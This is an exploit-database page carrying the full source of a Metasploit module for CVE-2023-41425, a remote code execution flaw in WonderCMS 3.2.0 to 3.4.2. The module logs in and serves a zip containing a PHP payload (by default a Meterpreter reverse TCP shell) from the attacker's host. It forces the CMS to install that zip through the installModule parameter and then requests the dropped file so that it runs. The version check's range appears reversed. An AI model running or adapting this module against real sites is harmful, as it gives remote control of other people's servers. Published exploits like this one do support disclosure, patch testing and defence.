Sploitus

Exploit for πŸ“„ WonderCMS 3.x Remote Code Execution

packetstorm Β· 2025-05-01

Exploit Code

ruby177 lines
## https://sploitus.com/exploit?id=PACKETSTORM:190729
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'rex/zip'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WonderCMS Remote Code Execution',
            'Description' => %q{
              This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'msutovsky-r7', # msf module
              'Milad "Ex3ptionaL" Karimi' # original exploit
            ],
            'References' => [
              [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'],
              [ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'],
              [ 'CVE', '2023-41425'],
              [ 'EDB', '52271']
            ],
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => ['php'],
                  'Arch' => ARCH_PHP,
                  'Type' => :php,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DisclosureDate' => '2023-11-07',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']),
          OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']),
          OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true])
        ])
      end
    
      def login
        return if @logged_in
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/loginURL'),
          'keep_cookies' => true,
          'vars_post' => {
            'password' => datastore['PASSWORD']
          }
        })
    
        fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL')
    
        @logged_in = true
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, '/how-to')
        })
        return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200
    
        return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')
    
        vprint_status('Target is probably WonderCMS..')
    
        login
    
        res = send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        })
    
        return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
    
        html_document = res.get_html_document
    
        html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }
    
        version = Rex::Version.new(Regexp.last_match(1))
    
        return Exploit::CheckCode::Unknown('Unable to get version') unless version
    
        return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0'))
    
        return Exploit::CheckCode::Vulnerable("Version #{version} is affected")
      end
    
      def create_vulnerable_zip
        @payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php"
        files =
          [
            { data: payload.encoded, fname: @payload_filename }
          ]
    
        @vuln_zip = Msf::Util::EXE.to_zip(files)
        register_file_for_cleanup(@payload_filename) if datastore['CLEANUP']
      end
    
      def on_request_uri(cli, _request)
        print_status('Received request, sending payload..')
        send_response(cli, @vuln_zip)
      end
    
      def install_malicious_component
        res = send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path)
        })
    
        return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
    
        html_document = res.get_html_document
        @token = html_document.at("input[@name='token']").attributes.fetch('value', nil)
    
        return Exploit::CheckCode::Unknown('Failed to get token') unless @token
    
        send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}")
        })
      end
    
      def exploit
        if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
          fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
        end
    
        login
    
        create_vulnerable_zip
    
        @zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip"
        start_service({
          'Uri' => {
            'Proc' => proc do |cli, req|
              on_request_uri(cli, req)
            end,
            'Path' => "/#{@zip_filename}"
          }
        })
    
        install_malicious_component
    
        send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, "/themes/#{@payload_filename}")
        })
      end
    end